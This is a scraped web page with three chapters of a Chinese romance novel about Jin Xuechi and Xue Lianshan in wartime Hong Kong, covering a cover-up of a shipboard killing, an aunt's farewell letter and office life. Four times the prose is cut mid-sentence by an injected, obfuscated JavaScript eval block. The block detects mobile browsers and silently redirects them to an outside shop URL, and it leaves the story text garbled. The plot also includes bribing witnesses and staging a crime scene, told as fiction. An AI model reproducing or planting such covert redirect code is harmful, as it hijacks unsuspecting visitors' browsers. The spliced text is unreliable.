倘若薛莲山和金文彬的死有关,她会把薛莲山也干掉。不过薛莲山只是顺手吞了金文彬的一座矿山......这她没有意见,老豆的东西就是她的东西,她愿意送给他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348122|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金雪池最终什么都没问,甚至没问他去哪里,就只是挂在他臂上。他拖着她去了一家葬丧店,订了十三个墓碑,顺便说明了没有尸骨的问题。老板说没问题,可以在纸衣上写生辰八字,代替尸骨葬下去。连法事他们也包。 他拖着她去吃了午饭,又拖到轮船公司买票。她问:“这么快就走呀?” “墓要做很久,做好了,你再来参与下葬仪式也是一样的。你想一直留在潮州吗?” 她摇了摇头。 “那就回去上班,帮我还债。” 金雪池笑了,“佩珀指不定都把我开除了!” “那就再找个班上。”他摸了摸她的发尾,“自己剪的?” “是,很丑吧?” “其实现在很流行短头发。” “我还是喜欢长发。” “头发长得很快,一年能长半尺。” 回旅馆后,他找掌柜要了一把剪子,在她身上披了一层被套,把狗啃似的短发修整齐。被套厚,并不贴身,还是有很多头发茬子往领子里掉,麻麻痒痒。剪不断,理还乱,是情愁。 第三天早上他们上了返程的船,一进舱房,金雪池就想起墙壁上飞溅出的那朵大血花,有点呼吸不过来。薛莲山站在门口酣畅淋漓地咳了一阵,找茶房要热水,一关门,她在床上陡然抱紧了枕头。 因为只要了一杯,他问:“嫌不嫌我?” 金雪池摇摇头,他递到她嘴边,她就着他的手喝了一口。他把杯子搁在桌上,抚摸她毛蓬蓬的头顶,抚着抚着,她就掉下几滴眼泪。她不愿意当着他的面流泪,但是只有当着他的面时她才会流泪。想抬手擦,他抱着她的后脑勺往怀里一按,眼泪都蹭在了他衣服上。 她颤抖着深吸了一口气,喃喃道:“我不知道......幼兰拿好饭菜招待我,袁公子根本与我无冤无仇......” “你由受害者变成掌握主动权的人,主动行使了力量。如果这种身份的转变使你痛苦,那么这痛苦是良性的。” “是好事吗?” “是。等你熟练以后,还有选择行使或者不行使的权力,到一种境界,你会觉得行不行使都无所谓了。不过我私心希望是你做选择,而不是被动接受。”他低声说,“成为强者,必会付出心理上的代价,你慢慢就适应了。过了这一关,将来的恐惧会越来越少。” 他太会说话了,她不仅得到安慰,还感到了一种脉脉的被珍视——这人就是这样,跟谁讲话,谁就会觉得自己在他心中特别重要,忍不住要恃宠而骄。金雪池此刻就恨不得痛苦流涕,把脸在他怀里蹭,让他把自己抱起来、满屋走,说这是花,这是钟,这是薛先生和薛太太......诸如此类的甜言蜜语,她爱听。让他哄她、吻她、抚摸她,以长辈消除小孩子恐惧的方式,来消除她的恐惧。 可她不想他只当她是个小孩子。 金雪池心一横,低头躲开他,嘟哝说:“你说得对。” 又来了,氛围大好的时候,她就爱泼他一盆冷水。薛莲山笑了一笑,她径直走到舷窗边上,他就在床边坐下。 77.千山行尽千山雪 家里的电线已经修好了,大少爷也被修好了,小桂把那条剌了道口子的旗袍也修好了。 邵子驹除了身上缠着纱布以外,已经行动自如,且饭量很大。由于给他用了过量的鸦|片酊,他有点上瘾,不过没跟任何人说,犯瘾了就自己去盥洗室里待着;旁人其实看出来了,也没过问。他不给薛莲山添麻烦,也不过问金雪池的任何事,预计再休养上两周,就可以返程。 他道:“不让你白救我。你要多少?” 薛莲山狮子小开口:“十万?” “册那,哪有那么多?有一点钱,全到我老婆身上、儿子肚子里去了。最多七万。” 薛莲山一拍桌子,“你就记得玩老婆儿子去了!上海现在是孤岛,物价高得吓人,你却可以自由进出,你有没有想过给租界的富人代购东西?丝袜、烫发膏,口红,样样暴利。这种事情做几个月都不只这点钱。” 邵子驹想了一想,咕哝道:“麻烦。” “活该,”薛莲山一口咬定,“十万,你陆陆续续给我电汇过来。其实你要是不汇我也没办法,但你既然死都不怕,应该不是赖账的那种人。” 邵子驹刚想赖账,一听这话,怎么着也得凑十万给他了。 袁家正在大操大办白事,金雪池不去,薛莲山去了一趟。去了,上一炷香、烧几张纸,就是吃席和打麻将。他见到了袁孝慈的两个混血小孩,非常可爱,头发虽然是黑的,但弯弯曲曲,像小羊羔的毛。 幸好身上带了钱。没有红包,他就直接蹲下来塞给小孩。袁孝慈把孩子往身后拽,“不要,不要,唉,接了就说谢谢叔叔!Justin你带妹妹去玩,不要跑远了。钱你拿着干什么?一会儿就弄丢了,mommy帮你保管,回去还给你。”说着,还正了正两个孩子背后露出的一截汗巾子。 孩子跑远了,她回过头,看到薛莲山是一副觉得很有趣的笑模样。她婆婆妈妈地当了母亲,他倒是一身轻快。袁孝慈忽然有些不好意思,轻声细语地问:“你太太呢?” “她有点不舒服。” 袁孝慈已经应酬了三四天宾客,灵堂里的白绫白花让她心里不舒服,到处都有人在抽烟,烟气弥漫,看什么都隔着一层,真让人不知身在人间还是冥界了。她不想留在这里,想和他找家咖啡馆谈话;然而薛太太不在,她没法和他单独出去。 “外头去坐吧,”她招呼道,“外头空气好。” 院子里也放了遮阳伞、设了座位,都是轻轻巧巧的钢制折叠桌椅,比起室内沉重的木家具,少很多死亡的意味。袁孝慈今天穿了一身黑长裙,戴一顶小圆帽,帽檐的侧边别了一朵白绒花,像是俄国画家克拉姆斯科依的作品《无名女郎》中的人物。 刚坐下,垂头整理裙摆的时候,就有一滴眼泪掉到了桌上。 薛莲山没说话,掏出了一条手帕递过去。手帕洗了刚在大太阳下晒干,硬,洁净,只有淡淡的香皂味。她笑道:“你没用香水了?”眼眶还是红的。 “我现在节省得很呀。” “过几天寄一瓶给你。别推辞,我有好多,快放过期了。” “那好,谢谢你。”他说,“节哀顺变,有什么我能为你做的?” 袁孝慈摇了摇头,“其实我心里还觉得轻松。前一阵子,孝勋不知道怎么回事,忽然变得非常像话,连爸爸都夸他;我去找他谈话,他就顾左右而言他。他那新媳妇不是省油的灯,和他拧成一股麻绳了!又怀了孕,将来添了孙子,还能姓袁......我不是个好姐姐,我心里觉得很轻松。” 薛莲山不认为她是完全地轻松,她要是真轻松,他就要托她跟巡捕打招呼了。现在还有十来个嫌疑人被扣在温州警察局,实在是查不出来。战争年代,警力本就缺乏,恨不得直接以“夫妻俩杀害重病人,随后自相残杀”了事,可袁家不同意。 案子一天不结,金雪池就一天不安全。 他原来以为袁孝慈完全看不上这个弟弟,反正他自己就完全看不上自己的两个兄弟,死了就死了,而袁孝勋比薛兆荣还讨人厌些。如今看来,并非这回事。 “我去的时候,铜盆里有东西还没烧干净,”他说,“纸折的汽车模型。现在殡葬夜也是与时俱进,过去只有骡马、男女童仆,现在都能烧汽车了。” 袁孝慈把手帕还给他,忧郁地一笑,“他就爱这些破东西。” 他问了案件的进展情况,又问了陈太太。袁家是没有义务赡养陈太太的,一直是陈幼兰在养,现在她又是孀居、又无儿女,出于人道主义,袁家可以拨给她一间小公寓,每月五十港币的生活费。 那天晚上陈太太要是不决定出走,她仍然能过上一种阔绰的生活,含饴弄孙,好几条年轻、鲜活的生命陪伴她度过晚年。但是她不愿意再做陈太太了,在陈家的二十多年简直像一场噩梦,她要做邝明台,再不见到陈家的任何一个人。噩梦惊醒后,现实生活依然惨淡。她差点忘了,在做邝明台的时候,她也不幸福。 本来就不漂亮,现在还老了;本来就没有生身的孩子,现在更寂寞。虽说人生不如意事十之九八,那十分之一的甜头,什么时候可以给她尝一尝呢? 邝明台搬去了公寓,从头到尾也没参加白事。 时间还早,薛莲山要到地址后,决定去拜访邝明台一趟。事情的原委,金雪池已经全告诉他了。 金雪池是他的好孩子,不是好与坏中的好,是好与差中的好,奇珍异宝可以买到,这么一个人是难寻的。她给他看了这样一场热闹,他实在高兴。不过她还很年轻,经历了一场事故,需要休息。如果她不想操心案子是如何结的,他替她操心;如果她不想见袁家人、陈家人,他替她见。 其实他经常替人解决问题,但这么心甘情愿,还是头一次。 邝明台所住的公寓是在难民潮后建起来的,面积小,但五脏俱全。房东一听说找陈太太,笑脸相迎:“你是袁老爷的人?哎呀,你得转告袁老爷,房租我需要退还.......” 他说不是,就通报说金雪池来了。房东的笑容弧度下去了一点,钻进了自己的书房,“金雪池,有一封她给金雪池的信。” “一封信?陈太太不在家?” “你早一天来,还能见着她。她昨天走了,剃光头发,出家去了。” 薛莲山惊讶道:“去哪里出家?” “不知道,反正你来这里找我,我是没有人的。不在家里,就是出家咯!” 他道了谢,把信拿回去。金雪池看到这样煞有介事的一封信,心里隐隐地抗拒着,不直接撕开,只用指甲抠封口处。她猜邝明台为人严肃、心思沉重,封口用胶水粘的严严实实,没有一点浮起来的地方,自己便对抗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352030|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似地抠着,把信封都抠烂了。直到薛莲山在她身边坐下,她才一把撕开。 雪池青览: 我不知以怎样的态度见你,故而不告而别,请谅解! 镜姊早殂,作为姨母,本当稍尽鞠育之责。然你已经长大、出嫁,在我看来,薛君温厚明达,诚良配也。我对你没有什么可帮助的,惭愧之极,随信附上一张支票,是这些年攒下的家私,共三万七千八十六港币。行将离尘栖隐,阿堵物于我如浮云。 我也没什么经验之谈可以传授给你,半生颠踬,不堪为训。再者,你肖似你母亲,我这样平庸寡淡的人生不能给你做借鉴。 你母亲最终到底有没有获得幸福呢? 我不知道,你不知道,其实你父亲也不真正知道。只有她自己知道。幸福是多么缥缈、虚幻的东西,世界在变化,人在变化,要想永恒地留住它,恐怕要时时寻找方法。不过我知道的是,你妈妈的前十六年都比我幸福,她更有勇气,更率性任真。诸行无常,及时行乐吧。 曾经她以诗赠我,我不能解其妙处。如今人到中年,忽有所悟,更易二联,转贻妆次: 千山行尽千山雪,一川送客一川烟。 身似浮云归大化,心随高雁越江天。 苔侵石径琴书冷,烛剪秋窗贝叶篇。 君归沧海栽红豆,我向寒崖种白莲。 临楮怅然,不知所言。 姨母明台 谨书 三月廿六 窗外天色晦暗、大风起兮,吹得小桂晾在外面的一绳衣物簌簌抖动,犹如招魂幡,逆着光线,都像深颜色。金雪池把支票抽出来递给他,他推回来,“你小姨给你的。” 她叹了一口气,黯然神伤。 从一个善良、温和的小女孩,到怪声怪气、面目全非,再于暗中置人于死地,一路过来,邝明台自己都不认得自己是谁了。不如归去。明镜二十出头悟到的道,她四十多岁才心有所感,到底是个庸人。不过没关系,庸人有庸人的活法,庸人比天才多看二十年冷暖、多沾一身红尘,最终也能殊途同归。 她跑过漫长的半生,最终追上了年轻的姐姐。 你最终到底有没有获得幸福呢?金雪池想,来来回回地看信,感觉信是给自己写的,诗是给明镜写的。入世是为明镜,出世还是为明镜;“你母亲”是明镜,“君”还是明镜。 又想起薛莲山所说的“互文”。为了格律美感,写成“将军百战死,壮士十年归”,其实将军、战士都是百战死、十年归。那么,她认为尾联是一种互文。不是报复性的,“这回也让你来尝一尝相思的滋味,而我得到清净”,而是美好的愿景,“你我都得到清净、不改相思”。 苦海无边啊。 金雪池又叹了一口气。 薛莲山无动于衷,横竖与他不相干,而且他对消极的人生态度总是不屑的。他只是看金雪池,后者正没骨头似地瘫在沙发上,短发被沙发椅背蹭得乱糟糟。 她在外头还是坐得很端正,私底下呢,他认为她像一只猫,细长、懒散、食量少,有极强的边界意识,如果有必要会变得敏捷。允许你摸的时候少,那是皇恩浩荡;大多时候不许摸,你扑过去,她就跑了。 薛莲山在脑子里有滋有味地想一通,屏息几秒,忽然伸手去捉她。金雪池果然大惊,一低头从他手臂下方滑走了。 78.复工 当晚他给她讲了袁孝慈给袁孝勋烧纸车的事,嘱咐说哪天自己死了,她也要这么烧。金雪池没料到身后大事,还有托付给自己的部分,立刻承诺一定烧。 然后他就显现出了没好气的样子,洗澡去了。 金雪池已经非常了解他,领悟到自己没按照他的意思来。揣摩了一下,认为他是很赞扬袁孝慈这一行为的,弟弟走了,她仍然记得他的喜好,她愿意通过这样荒诞的方式,表达自己跨越生死的照顾与牵挂。同理,她就愿意为薛莲山做这件事。他生,她记得;他死,她依然记得。 她不知道他为什么没好气。 此人看上去热爱交际,喜欢人多的场合;在美丽的女士面前总是主动出击、情话连篇,但她认为他在情绪处理方面是偏回避型的。他不爽,他对你有意见,他心里嘲讽你瞧不起你对你颇有微词,从来不说,靠人猜。 好在她很擅长猜。 猜到半夜,她知道他想听什么了:不要说不吉利的话! 金雪池不明白。他平日里并不忌讳“死”字,还主动拿这个话题和她说,她认为一句承诺比轻飘飘的、敷衍式的“不要说不吉利的话”有意义得多。他也不是那么俗的人啊,他爱听这种话?因此又怀疑自己是不是猜错了。 与此同时,薛莲山一想到她信誓旦旦地承诺要给自己烧纸,就十分恼火。他对她这么好,她没有心肝的。 第二早上各上各的班。 金雪池一大早到了布朗的办公室,磕磕巴巴讲了几句洋文,又尴尬、又窘迫、又词穷,不敢直视对方的眼睛。布朗颇为严厉地训斥了她几句,说她藐视规则,不经批准无故旷工,被开除了。 她很不喜欢如此卑微地请求上位者,鞠了个躬就离开。 今天是星期一,天色阴沉,下了点小雨。虽然都临着海,但香港比上海潮湿多了,漫天雨丝并不清爽,却像蛛网,黏黏腻腻、牵牵绊绊的。这样与雨丝关的联想有很多。既是旧照片上的划痕,又是骑楼下,堆叠的竹篮、藤箱磨出的毛边,还是路边躺躺坐坐的难民的白发。世界老了、旧了,帘外雨潺潺,春意阑珊。 她无所事事,走进一家茶餐厅,决定吃早饭兼中饭。 虽是靠玻璃墙的位置,但视野并不辽阔,有一个卖云吞的摊子挡在那里做生意。金雪池盯着云吞老板系在背后的一个围裙结,脑子变得很空旷,电车铛铛的铃声飘走,远处教堂里的唱诗声飘进来。 一碗叉烧饭配一碟青菜,花去她三港币,味道还不怎么样。 金雪池推门出去,深呼吸着,又回到了佩珀所在的写字楼。布朗开会去了,她在他的办公室里等;办公室里只有他的座位,没有多余的板凳。她不能坐他的位置,站了一个小时,腰酸腿麻,蹲了下去。 布朗回来的时候,一推门,门板撞得她直接像青蛙一样扑了街。 金雪池懊丧地爬起来,又开始磕磕绊绊地请求他留下自己。不仅旷工那段时日的工资不要,这个月的工资都不要,自己一定会深刻检讨错误。为了引起同情,她说奶奶治疗用了很多钱,没治好,死了。如果还失去工作的话,她会丧失对生活的信心。 编这样可笑的故事,她脸皮都要烧透了。但只是把一份工作坚持下来这件事,她不信自己做不到。 布朗一点也不信她死了奶奶,只是觉得她的工作能力确实还行,勉为其难地留下了。第二天开会又特意把她拎到台上去批评,金雪池咬着牙齿,非常屈辱,散会后闷头便走。 船舶业务组里有一位女同事,是个打字员,名叫淑珍,对她表示十分同情,塞给她一块司康。 所谓司康,就是一种由燕麦而非小麦粉制成的厚实面包,但殖民地自有国情在此,比起“羊角面包”“燕麦面包”“环形面包”,更爱翻译为“可颂”“司康”“贝果”。上海不是殖民地,但自有摩登潮流在此,也这么译。 金雪池第二天从家里带了一枚粽子给她。 淑珍第三天送给她一瓶苹果酱。 两人都不爱闲聊天,对这种交情感到十分舒服、自在。工作生活渐渐回归正轨,对于过去的事,金雪池不再想了。 几天后,邵子驹踏上了返程。他只托薛莲山买了张票,也没跟余人打招呼,说走就走,金雪池回家才发现人没了。 四月初,薛莲山非去安南不可了。 他通过自己那几艘货船的船长认识了远鸥号的船长,找到几位茶房,一人塞两百,只需回去说曾听到袁氏夫妇争吵。当然,雇了个人跑腿,他不曾露过面。温州市警察局正急着结案,瞌睡来了有人送枕头,立刻定性为自相残杀。 袁老太爷和袁孝慈都不认可,但他们的手伸不到温州去。袁孝勋也不值得他们得罪人,想了想,还是作罢了。 同时,薛莲山还终于和许豫生取得了联系。许豫生已经转移到了大后方桂林,很愿意和他商谈下一步的计划。他去完安南,很方便到桂林去。 临走前,他见金雪池的心理状况已经恢复如常,笑眯眯地问:“我要是有个小建议,你愿不愿意听?” 金雪池忙表示洗耳恭听。他说:“你最后一步不应该锁门,擦干净指纹,把枪塞到陈幼兰手里,这个案子早就能结了。甚至可以往陈海龙衣服里塞一封打印的遗书,说如果我死了,肯定是他俩所害。” “可是,太假了,一看就是有人故意引诱的。” “是啊,大家都知道假。不过,逻辑是一回事,世情又是另一回事,这事袁家管不着、警察不想管,只要证据足以结案,他们就结案了。皆大欢喜。” 金雪池似乎得到了一点启示,就像布朗不信她奶奶死了,她也知道布朗不信她奶奶死了,布朗也知道她知道他不信她奶奶死了......然而两人心照不宣,为了最终的目的,达成了共识。很多时候,这种心照不宣可以被利用。 “我明早八点的船,送我吗?” “我要上班。” “行。” “你想让我送吗?” “不是要上班?” “其实可以让同事帮忙打个掩护,说我下楼取信去了。” 他笑道:“随你。” 她其实觉得送来送去的没必要,除非他需要她帮忙拿行李、认路、开车,但这都是定青的工作,她去,也就是靠在后排打瞌睡。但薛莲山这个“随便”的语气,就是“不送你就死定了”。 于是晚上给淑珍打了个电话,托她打个掩护。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356950|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天下小雨,定青开车去送,和薛莲山一路交谈;金雪池果然靠在后排打瞌睡。淅淅沥沥的雨声,引擎声,皮质座椅摇篮似地颠簸,此情此景宜睡觉。但她坚信自己只是打瞌睡,闭目养神,不能真睡着。 到码头的时候,还是睡着了。 她醒着的时候,薛莲山总爱通过吻她去逗她;她真睡着了,他倒没有吻她的想法。她是一个双手抱臂、脑袋靠窗的姿势,虽是熟睡,神态也并不柔软,大概因为皮骨贴合得很紧,表情松弛不下来,像是一群女同学放学回家,别人三五成群、叽叽喳喳,她闷头走路、想着自己的事情,谁也不搭理的那副孤高神态。她是不理人了,还能自乐其乐;他在一旁看着,小小的、伶仃的一个,倒是先于她柔软下来。 任是无情也动人。 等金雪池被定青摇醒的时候,已经到了佩珀公司的楼下。她很茫然,首先发现自己微微张开的嘴里插了一朵花,把花拿出来后,问:“他走啦?” “走了。” 她只好拿着花进了公司。花是桃花,连着枝子,有点蔫了,想来是随手折的,她找了个空茶叶盒用水泡着。当天下午就蔫得不能再蔫了,还引来几只小飞虫,只好扔掉。 等他回来的时候,她也想折一枝桃花去接他。不过等他回来的时候,桃花就过花期了。 在做完三四十期象棋残局题后,她丧失了兴致,并爱上了画画。起因是在她和淑珍的礼物互换小游戏里,淑珍送了她一支长城牌铅笔。她正无聊着,一整个下午正事不干,就在草稿纸上画画,画了淑珍的侧脸,给她递过去。 淑珍又把草稿纸传回来,写:画得很好。 金雪池心里美滋滋,越画越觉得自己有天赋,其实不应该学数学,而是该进修美术。她是一个艺术家。晚上她让定青坐在沙发上不要动,画了个速写,给小桂看,“怎么样?” 不说多么有绘画技巧,起码她的比例抓得很准,绝不眼歪嘴斜,一眼就能看出是谁。但由于不会处理透视、光影关系,鼻孔、牙齿都画得很可笑;又追求个面面俱到,连眼袋、法令纹、火疖子都不放过。 小桂眯着眼笑了,看了许久,不说好,也不说不好。金雪池问第二遍的时候,她就伸手重重地抹了一下那代表法令纹的两笔,把粗硬的线条,抹成青灰的两片。 她说:“把他画老了。” 金雪池刚想提醒她,定青的年龄对于她们来说确实算很大,就看到小桂走过去,把手指上的铅笔灰抹到他脸上。定青碍于金雪池在这里,并不动手脚,只用眼睛追着她,做一个又拧眉又笑的表情。 于是金雪池想起来了,薛莲山在的时候,他们中谁的心思也不在对方身上;薛莲山一走,是他们相处的大好时机。她躲进卧室,不打扰他们。 5月19日,徐州陷落。 金雪池在办公室里看着报纸发呆。家里只有她和薛莲山两个人看报纸,薛莲山走了,定青不会特意往家里买,所以她把公司刊板上的报纸顺了一份回家,带给定青看。 定青看了也发呆,默然不语几个小时。临睡前,小桂跑到他房里闹,他就指着报纸对小桂说:“这是我的家乡。” 小桂大惊,“你是苏北人?” 79.油漆 “苏北怎么了?你就是临着上海,现在也不和我一样在这里帮佣?” “哎,你这......也太北了!都快到山东了。”小桂撅起嘴,之前以为和他是“他乡遇故知”,但因为苏州在很靠南的位置,想起徐州,都觉得不是江苏的一部分,是北方。徐州无论是饮食还是方言,也都跟山东更像。“你都不说吴语!你说‘我’,说的是‘俺’?你说一个听听?” 定青很受冒犯,他是从不拿薛莲山当挡箭牌的,头一次,他说:“薛先生跟我是老乡!” 小桂一听薛先生,就没什么可说的了。定青仍然不高兴,站起来把报道又读了一遍,觉得自己真是多余跟她说这回事,江苏都快沦陷了,她还在计较苏南苏北。蠢得没救了。他当时就不该特意挑个江苏人回来,随便找个香港姑娘,谁管你苏南苏北的? 第二早,小桂叮铃哐当地大力摆盘子,定青拉着一张驴脸,看也不看她。因为是周末,金雪池沉浸在自己的绘画艺术中,有人敲门,她也不理睬。 小桂道:“收房租的来啦!” 定青只有腮帮子耸动,用力咀嚼早餐。几秒后,她跳起来骂道:“你要死啊?聋了?” 金雪池还以为她在骂自己,一哆嗦,站起身,就看到小桂已经气鼓鼓地去开门了。一缝太阳光射进来,然后一声尖叫,定青立刻冲过去,油漆立刻又兜头盖脸地泼过来。 金雪池都不知道他冲那么远干什么,把两人一手一个拽回来,然后关上门。油漆哗哗地溅到门上、墙上、窗上,他们没工夫搭理了,定青把小桂拉到厨房,拧开水龙头让她冲眼睛。几秒后,电又断了。 小桂呸呸往外吐了几口油漆,一直揉眼睛,金雪池直接伸手把她的上下眼睑翻起来,让水流对着眼珠子冲。 “哎哟哎哟哎哟——” “不能揉,油漆里有颗粒的。” 小桂哭道:“哎哟哎哟哎哟......杀千刀的,讨债的,呸,一群狗.......” 冲了好久好久,金雪池想打开台灯照一照小桂的眼睛,可是没有电。只好拉着她站到窗边,拿一块小粉镜子反射外头的太阳光,有很亮的一块斑映在她的眼睛上,把眼瞳映成澄澈的浅棕色。 “唔,没有残留,”金雪池说,“现在去医院吗?” “我可不想去医院,人太多了,排一上午的队。” “好吧,那定青去买抗生素类的眼药水,预防感染。” 感觉没有自己什么事了,金雪池又飘飘然回了书房,继续艺术之旅。 接下来几天小桂的眼睛都是红的,不能做事,就闭眼躺着。定青时不时扒开她的眼皮看一看,点眼药水,虽然不和她说话。 她的左眼先好了,右眼还有点红肿流泪,某天嫌闷,不肯在房里歇着,就用手帕捂着右眼站在路边,看定青用酒精擦窗户上的油漆。天气变热了,定青光着膀子,因为用了很大的力气、擦得玻璃都吱吱响,背上出了一层薄汗。 擦一面玻璃用了半桶水,小桂想把手帕在水桶里蘸湿,刚伸手过去,定青就一把夺过捅,兜头浇下,浑身凉快。 小桂只好重新盖住眼睛,咯咯笑道:“小气!算我错了好不好?” “你哪里错了?” “苏北,很好——” “哪里好?” “就是因为靠着山东,你才这么高。” 定青笑了,他是很少笑的,总是一种很诚实、认真的表情,就显得人很木讷;笑起来却是很有神采的。小桂用一只眼睛瞅着他,也笑,在他湿漉漉的背上拍了一把。 隔天,薛莲山回了。 他这次去了一个半月,简直一刻没有休息的,坐船坐火车坐巴士坐汽车乃至于骑了一段路的马,浑身骨头要散架。一回来,看到门口的草都是红色的,就知道遭人泼油漆了。又听说小桂被泼到眼睛了,惊道:“没去医院吗?” “没有,都快好了。” “我看看。”他凑过去,用两根手指拨开小桂的眼皮,专注地往里瞧着。 定青在一边,简直心头一跳。小桂也屏住了呼吸,眼珠子都不敢乱转,直瞪着他,两人的距离不过三寸。 他的手指力度很轻,他的睫毛很长,眼睛很漂亮。 薛莲山此刻是一点杂念也没有,这点与女人的接触对他来说屁都不算。他心里很过意不去:自己欠了债,小桂因此受了伤害。没有这样做人的。 “下眼睑还是有点肿。”他说,声音近在咫尺,小桂甚至能听到他的胸腔是如何震动发声,正想听个仔细,他退了回去,道:“还是去医院看看吧。” “真的不用了,另一只眼睛前几天也肿,现在完全好了。能自己好的。” 他坚持道:“不——” 楼梯上忽然响起一串急促的木屐声,金雪池噼里啪啦地跑下来,头发都没梳,站到了他面前。站定了,也不说话,开始伸手拨刘海。 薛莲山没等到她说话,所有心思都在小桂身上,就继续道:“不行,趁医院没下班,现在就去。” 他强硬地开车带她去了,就算不为她,也要为他自己做主子的名声。 挂了号,其实已经到下班时间,但医生非得把病人看完不可,因此异常烦躁、速度异常快。小桂的屁股刚一挨凳面,医生拿手电筒往她眼睛里一晃,立刻就说:“抗生素眼药水——下一位!” 全程不到十秒钟,要去他们四港币。 坐在返程的车上,小桂心绪纷乱,一会儿纠结钱,一会儿觉得车内静静的,好香。薛莲山此前一直用香水,她不知道,来香港后不用了,前一阵子袁孝慈送了一瓶,又开始用。车窗开了一半,温热的、涌动的气流中,小桂屁股不动,上身随着汽车的起伏而被动摇晃着,像是水上的飘萍。晃着晃着,自己也惘然。 那香气,她都不知道是从他的衣物上散发出来的,还是她的心境。 忽然,薛莲山拍了一下喇叭,笑了一声。小桂一个激灵,忙问道:“怎么了?” “不是什么大事,”薛莲山笑道,“哈哈!” 于是一阵热风吹来,她打着旋儿飘远了。他独自一人,仍是“宛在水中央”,得到了乐趣,她一无所知。 薛莲山后半段开车开得很快,风驰电掣的,车刚刹住,拔了钥匙就往里走。在门厅处换鞋的时候,吃晚饭吃到一半的金雪池又跑出来了,什么都不做,就看着他换鞋。他换好了,她转身要回去吃饭,被他拦腰一把抱回来了。 他笑嘻嘻道,“你这是在——迎接我回家?” 上回和她发生龃龉,他抱怨自己大老远回来,金雪池从不欢迎。她似乎不认同这一行为的必要性,但她记住了。 薛莲山越想越觉得可爱,并非是傻气的可爱,也非是稚气的可爱,究竟可爱在哪里了,他也说不好,但他恨不得咬她一口。金雪池不料他恩将仇报,用力一推,逃之夭夭了。 晚上谈起徐州陷落,他叹道:“徐州一丢,津浦铁路算是被掐断了。本来华东的煤炭几乎全靠华北和苏北供应,现在要全面断供,别说工业生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360339|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产,家用照明都成问题。我见到许豫生,他说现在的调整政策就是川煤东运,大后方主要就靠四川、贵州了。另外,开发湘赣本地煤,通过粤汉铁路、浙赣铁路供应华中、华南。” 金雪池对有哪几道铁路一无所知,努力听着,因为他过去不跟她谈正事。 “西南地区的煤矿产业非常落后,现在北方都用蒸气绞车,西南90%以上的煤矿还在用镐头、背篓,全靠人力开采。管理也是乱七八糟。许豫生想让我去当个专员。” “你去吗?” “我要是身体好就去了。那边从零开始,是要带队勘探、下地的,我再钻不得煤窑了。我跟他说了我的计划,大后方缺煤,直接进口美国的加工煤,反正国内的加工技术不过关,设一堆厂子,除杂质也除不明白,不如直接进口。他这人厚道,虽然我不答应他的请求,他倒答应我的请求,跟我签了合约。” “那么,你是钦差大臣了!” “不错!”薛莲山很得意地一笑,“中国人只能在美国当贩夫走卒,不许做大生意。除非有官方合作项目。我现在就是钦差大臣,能到美国去当老板。那边华人有如此地位的,可不多见。” 他高兴,金雪池也高兴,问了一堆问题。官价比民间价格贵还是便宜?减关税吗?是你去联系生产商还是他们去联系?你能捞到一官半职吗?你继母和兄弟是不是还在徐州,你不管吗?那你兄弟要是死了,有遗产给你吗? 对于有耐心作答的人,她喜欢打破砂锅问到底,之前只有金文彬愿意搭理她。现在薛莲山也愿意搭理她。他是适合当老师、当家长的那种人,回答问题是一种娓娓道来式的口气,说着说着,就捏住了她的手。她的手和脸一样,皮肉很紧实,是细细的圆柱状,握笔的位置有茧。不是硬壳茧,是肉垫茧,摁上去不痛不痒。 “没有遗产,只有债务和孩子。”他说,“所以还是装不认识吧。除非是晚娘找我。” “便宜儿子都不要,但是愿意赡养你继母?” “晚娘对我仁至义尽了。前十几年我都没见过几个女人,一个娘,一个晚娘,一个汪妈,都是贵人。”他顺着她的手指骨,一节一节地按,“我受了女性很多恩惠,多到甚至让我认为慈悲是你们的天性。配眼镜,是一位朋友的太太提醒的;跳舞,是一位以伴舞为生的小姐教的......” 金雪池道:“不仅她们慈悲,其实你也慈悲。” 